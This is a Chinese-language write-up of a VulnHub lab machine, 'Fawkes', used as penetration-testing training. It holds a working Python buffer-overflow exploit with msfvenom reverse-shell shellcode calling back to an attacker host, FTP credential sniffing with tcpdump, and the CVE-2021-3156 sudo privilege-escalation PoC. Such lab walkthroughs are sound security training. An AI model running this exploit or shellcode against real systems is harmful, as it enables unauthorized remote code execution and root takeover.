VulnHub-Fawkes

前言

  这是打靶训练的第15周,靶机下载 ,难度高,此靶机大部分时间花在pwn上。

信息搜集

21/tcp   open  ftp        vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_End of status
22/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp   open  http       Apache httpd 2.4.38 ((Debian))
2222/tcp open  ssh        OpenSSH 8.4 (protocol 2.0)
9898/tcp open  monkeycom?

  进行了一波初步测试后,80端口只有这个图片,路径探测也没有任何发现
  
  21端口允许匿名登录,ssh开了两个端口,开放了一个nmap不认识的9898端口
  随后进入ftp将server_hogwarts下载下来
  
  ./server_hogwarts 发现没有任何输出,使用netstat -pantu | grep server_hogw,本地开放9898端口,这与之前扫描的9898端口刚好一致,很有可能这个文件就是一个突破点
  

缓冲区溢出

  使用edb调试server_hogwarts
  nc 127.0.0.1 9898,输入500个A
  
  edb弹出错误框,地址0x41414141无法执行,A的16进制就是0x41
  
  点击ok后,可看到eip寄存器还有esp寄存器被覆盖了。说明存在缓冲区溢出
  
  现在要确定覆盖eip寄存器的A是这500A中的哪一个A,kali自带生成字母生成工具

root@kali: msf-pattern_create -l 500                                                   
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

  将此结果再次输入,得到覆盖地址为64413764
  
  
  msf-pattern_offset -l 500 -q 64413764,查询偏移位置为112,即第113开始的字符将会写进eip寄存器
  

exp编写

  开始编写exp,先确定第113个字符是不是会写进eip

import socket

if __name__ == '__main__':
    junk = b'A' * 112
    eip = b'B' * 4 + b'C' * 10
    s = socket.socket()
    s.connect(('127.0.0.1', 9898))
    s.send(bytes(junk + eip))

  简单解释一下,我让eip的值等于4个B+10个C,如果运行上面的脚本,eip是4个B即16进制为0x424242,那就是对的。
  kali上运行后,得到了正确的覆盖结果
  
  
  并且esp被覆盖了10个C,现在的思路是要让eip的值指向esp,然后esp的内容是shellcode,这样就能任意执行我们的代码了。
  edb自带查找功能,点击Plugins->OpcodeSearcher->Opcode Search,选择ESP->EIP,搜索server,Permissions要选择带x,可执行权限的。
  
  找到了两个,有jmp esp,这里就确定用0x08049d55地址
  
  生成shellcode,msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.0.128 LPORT=4444 -b "\x00" -f python,先测试看是否能反弹到本机
  最终的exp

import socket

if __name__ == '__main__':
    junk = b'A' * 112
    eip = b'\x55\x9d\x04\x08'
    nopsled = b'\x90' * 32
    
    # shellcode
    buf = b""
    buf += b"\xda\xc3\xd9\x74\x24\xf4\xbd\xd5\xe1\xdc\xbe\x58\x29"
    buf += b"\xc9\xb1\x12\x31\x68\x17\x83\xc0\x04\x03\xbd\xf2\x3e"
    buf += b"\x4b\x0c\x2e\x49\x57\x3d\x93\xe5\xf2\xc3\x9a\xeb\xb3"
    buf += b"\xa5\x51\x6b\x20\x70\xda\x53\x8a\x02\x53\xd5\xed\x6a"
    buf += b"\xa4\x8d\x0e\xea\x4c\xcc\x0e\xfb\xd0\x59\xef\x4b\x8e"
    buf += b"\x09\xa1\xf8\xfc\xa9\xc8\x1f\xcf\x2e\x98\xb7\xbe\x01"
    buf += b"\x6e\x2f\x57\x71\xbf\xcd\xce\x04\x5c\x43\x42\x9e\x42"
    buf += b"\xd3\x6f\x6d\x04"
    
    s = socket.socket()
    s.connect(('127.0.0.1', 9898))
    s.send(bytes(junk + eip + nopsled + buf))

  kali监听4444端口,反弹shell成功
  

getshell

  现在将exp的中的127.0.0.1改为靶机的ip192.168.0.134,即可反弹shell
  
  可看到ip地址为172.17.0.2,这是在docker里面。发现.mycreds.txt内容为HarrYp0tter@Hogwarts123
  
  ssh harry@192.168.0.134 -p 2222,密码为HarrYp0tter@Hogwarts123,即可登录,但还是在docker里面。
  可执行root权限
  
  sudo /bin/sh -i 切换到root用户,来到/root,得到提示 有人在尝试登录ftp
  
  tcpdump -i eth0 port 21 抓取ftp协议相关的数据包,等两分钟,得到用户名neville,密码bL!Bsg3k
  

提权

  ssh neville@192.168.0.134 登录进来,已经逃逸成功了
  存在Baron Samedit漏洞。 poc 验证

sudoedit -s '\' `perl -e 'print "A" x 65536'` 
malloc(): corrupted top size 
Aborted (core dumped) 

  
  CVE-2021-3156,下载exploit_nss.py。这里直接利用是不能成功的。which sudo
  
  sudo位置在/usr/local/bin/sudo,编辑exploit_nss.py,第20行的SUDO_PATH = b"/usr/bin/sudo"改为SUDO_PATH = b"/usr/local/bin/sudo"
  再次利用提权成功
  

查看评论 -
评论